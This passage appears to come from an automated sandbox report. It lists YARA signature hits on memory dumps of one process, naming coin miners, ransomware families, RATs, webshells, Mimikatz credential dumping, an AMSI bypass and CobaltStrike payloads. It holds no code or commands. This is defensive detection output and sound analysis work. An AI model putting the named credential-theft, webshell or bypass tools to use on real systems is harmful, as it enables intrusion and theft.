                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: Oilrig_IntelSecurityManager, Description: Detects OilRig malware, Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Eyal Sela
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Winexe_tool, Description: Yara detected Winexe tool, Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, Source: 00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18352105294.0000015B1AC31000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18312369918.0000015B1C094000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Cute, Description: Yara detected Cute Ransomware, Source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000023.00000003.18300906087.0000015B1A6C6000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, Author: Jean-Philippe Teissier / @Jipe_
                                                            • Rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn, Description: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: USG
                                                            • Rule: IMPLANT_5_v3, Description: XTunnel Implant by APT28, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: US CERT
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_NoCry, Description: Yara detected NoCry Ransomware, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: malware_red_leaves_memory, Description: Red Leaves C&C left in memory, use with Volatility / Rekall, Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, Author: David Cannings
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, Author: Avast Threat Intel Team
                                                            • Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by encoding, Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: HackTool_Samples, Description: Hacktool, Source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, Author: unknown
                                                            • Rule: PS_AMSI_Bypass, Description: Detects PowerShell AMSI Bypass, Source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell commands, Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: vanquish_2, Description: Webshells Auto-generated - file vanquish.exe, Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, Author: Yara Bulk Rule Generator by Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[..., Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: FR/ANSSI/SDO
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_gogoogle, Description: Yara detected GoGoogle ransomware, Source: 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle Eastern campaign reported by Talos, Source: 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: korlia, Description: unknown, Source: 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp, Author: Nick Hoffman
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18329511287.0000015B1AC31000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: webshell_php_generic, Description: php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_generic_eval, Description: Generic PHP webshell which uses any eval/exec function in the same line with user input, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: ChinaChopper_Generic, Description: China Chopper Webshells - PHP and ASPX, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_mock, Description: Yara detected Mock Ransomware, Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: PoisonIvy_3, Description: unknown, Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
                                                            • Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in memory based on strings., Source: 00000023.00000003.18297289690.0000015B1BCD0000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: webshell_jsp_by_string, Description: JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., Source: 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: hacktool_macos_keylogger_logkext, Description: LogKext is an open source keylogger for Mac OS X, a product of FSB software., Source: 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, Author: @mimeframe
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, Author: Eyal Sela (slightly modified by Florian Roth)
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: ZxShell_Jul17, Description: Detects a ZxShell - CN threat group, Source: 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_MSIL_Load_Encrypted_Assembly, Description: Yara detected MSIL_Load_Encrypted_Assembly, Source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, Author: Joe Security
